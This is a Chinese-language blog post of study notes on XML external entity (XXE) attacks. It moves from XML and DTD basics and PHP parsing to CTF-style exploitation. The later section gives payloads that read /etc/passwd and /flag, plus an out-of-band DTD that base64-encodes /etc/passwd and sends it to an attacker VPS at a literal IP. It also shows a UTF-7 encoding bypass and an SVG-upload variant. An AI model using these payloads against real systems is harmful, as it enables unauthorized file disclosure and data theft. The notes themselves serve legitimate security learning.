Loading

xxe学习

XXE学习

xml

  • XML是一种标记语言.

    以一个excel表格为例:标记可以类比为表头.

  • 标签无意义.而html的标签是有功能性的.

  • xml的主要功能是用来进行读取的.

xml的漏洞来源:利用DTD声明.

xml 常用的场景: 数据传递.登录数据,天气预报数据等等.

xml基本语法

  • 标签无功能性

  • 标签必须闭合

  • 嵌套必须正确

  • xml对大小写是敏感的

  • xml必须有根元素

  • 构造payload的时候,可以不用换行

  • 头声明可有可无<?xml ...?>,建议写

  • 实体引用

    tmpC53F

使用php解析xml

两种方式:

  1. 使用simplexml_load_file()读取xml
  2. 使用DOMDocument读完xml

我们这里先创建一个文件夹,其中有一个xml文件和一个php.接着xml写入一些例子:

<?xml version="1.0" encoding="UTF-8"?>
<characters>
	<person id="1">
		<name>Alice Chen</name>
		<role>Lead Researcher</role>
		<age>29</age>
	</person>
	<person id="2">
		<name>Brian Wu</name>
		<role>Systems Engineer</role>
		<age>32</age>
	</person>
</characters>

如果我们尝试去读取这些各个属性的化要怎么做呢?

我们先来看方式1:

<?php
$xml = simplexml_load_file('1.xml');
print_r($xml);
$name1 = $xml->person[0]->name;
echo $name1;
?>
    
    
 /*
 SimpleXMLElement Object
(
    [person] => Array
        (
            [0] => SimpleXMLElement Object
                (
                    [@attributes] => Array
                        (
                            [id] => 1
                        )

                    [name] => Alice Chen
                    [role] => Lead Researcher
                    [age] => 29
                )

            [1] => SimpleXMLElement Object
                (
                    [@attributes] => Array
                        (
                            [id] => 2
                        )

                    [name] => Brian Wu
                    [role] => Systems Engineer
                    [age] => 32
                )

        )

)
Alice Chen
*/

这里打印出来的东西可以看出,simplexml_load_file函数会直接吧整个文档读取成一个对象,那么我们接下来就可以用php中关于对象的一些方法来达到调用属性的一些目的,比如尝试打印其中的一个人的名字属性.

方式2:

<?php
$xml = new DOMDocument();
$xml->load('1.xml');
print_r($xml);
?>
    
    
 /*
 DOMDocument Object
(
    [doctype] =>
    [implementation] => (object value omitted)
    [documentElement] => (object value omitted)
    [actualEncoding] => UTF-8
    [encoding] => UTF-8
    [xmlEncoding] => UTF-8
    [standalone] => 1
    [xmlStandalone] => 1
    [version] => 1.0
    [xmlVersion] => 1.0
    [strictErrorChecking] => 1
    [documentURI] => file:/E:/myCTFTools/range/xxe_example/1.xml
    [config] =>
    [formatOutput] =>
    [validateOnParse] =>
    [resolveExternals] =>
    [preserveWhiteSpace] => 1
    [recover] =>
    [substituteEntities] =>
    [nodeName] => #document
    [nodeValue] =>
    [nodeType] => 9
    [parentNode] =>
    [childNodes] => (object value omitted)
    [firstChild] => (object value omitted)
    [lastChild] => (object value omitted)
    [previousSibling] =>
    [nextSibling] =>
    [attributes] =>
    [ownerDocument] =>
    [namespaceURI] =>
    [prefix] =>
    [localName] =>
    [baseURI] => file:/E:/myCTFTools/range/xxe_example/1.xml
    [textContent] =>

                Alice Chen
                Lead Researcher
                29


                Brian Wu
                Systems Engineer
                32


)
 */

又或者可以通过loadXML()方法来吧字符串的xml转换成DOM对象.

通过DOM方法来读取属性(跟js控制html很像):

<?php
$xml = new DOMDocument();
$xml->load('1.xml');
echo $xml->getElementsByTagName('name')->item(0)->nodeValue;
?>
    
    
 /*
 Alice Chen
 */

当然我们也可以结合两者的优点,比如DOM方法后面属性调用部分很麻烦,我们可以通过simplexml_inport_dom来把DOM对象转换成普通的对象,从而使用方式1的那一套调用逻辑.

DTD声明

什么是DTD?

DTD(Document Type Definition)文件类型定义.

可以理解为约束条件,相当于一个可选表单的作用.

DTD可以直接写在xml,称为内部引用.也可以外部引用一个dtd后缀文件,称为外部引用.

内部引用

示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE characters [
    <!ELEMENT characters (person+)>
    <!ELEMENT person (name, role, age)>
    <!ATTLIST person id ID #REQUIRED>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT role (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
]>
<characters>
	<person id="p1">
		<name>Alice Chen</name>
		<role>Lead Researcher</role>
		<age>29</age>
	</person>
	<person id="p2">
		<name>Brian Wu</name>
		<role>Systems Engineer</role>
		<age>32</age>
	</person>
</characters>

解释一下里面常用的几个:

  • DOCTYPE 定义约束
  • ELEMENT 定义应该有的元素
  • PCDATA 该元素只能是字符串

  • ATTLIST 定义元素属性
  • 括号里面表示子元素

外部引用

1.dtd

<!ELEMENT characters (person+)>
<!ELEMENT person (name, role, age, bio?)>
<!ATTLIST person id ID #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT role (#PCDATA)>
<!ELEMENT age (#PCDATA)>

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE characters SYSTEM "1.dtd">
<characters>
	<person id="p1">
		<name>Alice Chen</name>
		<role>Lead Researcher</role>
		<age>29</age>
	</person>
	<person id="p2">
		<name>Brian Wu</name>
		<role>Systems Engineer</role>
		<age>32</age>
	</person>
</characters>

从这里我们应该已经能看出xxe漏洞的成因了:这里的外部引用其实就是一个文件包含.

那我们拿到之后怎么展示出来呢?

这就需要我们来详细了解一下实体了.

几种实体的介绍

  • 字符实体:上面给出的那五个字符的示例

  • 命名实体:可以理解为变量调用

  • 参数实体:为了减少代码复用

    声明<!ENTITY % atea "......">

    调用%area;

XXE漏洞利用

XXE读取文件

自定义命名实体即可

<!DOCTYPE root [<!ENTITY a SYSTEM "file:///etc/passwd">]>&xxe;

XXE外部实体引用

这里适用于file协议被禁止,但http协议可用的情况.

这里需要使用参数实体,需要注意的是,参数实体的调用需要在DTD内部使用:

<!DOCTYPE root [<!ENTITY % a SYSTEM "http://vps/1.dtd">%a;]>&xxe;

XXE结果外带

先进行验证:

这里和DNS外带一样,使用我们bp中自带的collaborator模块生成URL

发送

<!DOCTYPE root [<!ENTITY % a SYSTEM "http://n7vh1vwlxic1ofi84vuv1d0h086zupie.oastify.com"> %a;]>

然后点击pull now,即可看到结果.

vps上放1.dtd:

<!ENTITY %  file  SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY %  code  "<!ENTITY &#37; send SYSTEM 'http://vps:4444?p=%file;'>">
%code;
%send;

发送

<!DOCTYPE a [<!ENTITY % dtd SYSTEM "http://vps:5000/1.dtd">%dtd;]>

在vps上开5000和4444,最终在4444得到回显.

这里顺便复现了一下?CTF中相关的一道xxe的题目,手法大概是UTF-7+回显外带.

本来是很简单的应该,但我始终没做出来,后来请教了一下出题的师傅,好像是平台环境有问题(

于是要过来一份源码来本地复现了一下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY % dtd SYSTEM "http://vps:5000/1.dtd">%dtd;]>

unix工具iconv转一下:

iconv -f UTF-8 -t UTF-7 1.xml > 2.xml

2.xml

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE a +AFsAPAAh-ENTITY +ACU dtd SYSTEM +ACI-http://vps:5000/1.dtd+ACIAPgAl-dtd+ADsAXQA+-

vps上放dtd:

<!ENTITY %  file  SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY %  code  "<!ENTITY &#37; send SYSTEM 'http://20.3.236.12:4444?p=%file;'>">
%code;
%send;

开一下服务监听:

python3 -m http.server 4444

最终拿到回显

tmp3A9C

SVG配合xxe读取文件

极客大挑战2025中的一个题,看似感觉是静态站来着,能上传图片然后返回base64格式图片展示,发现可以上传SVG,而SVG格式就是xml,于是想到可以打xxe,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

tmp452F

参考B站陈腾老师的系列视频:

https://www.bilibili.com/video/BV1eFnhzjEUU

posted @ 2025-11-19 00:09  幽暗天琴沙雕  阅读(12)  评论(0)    收藏  举报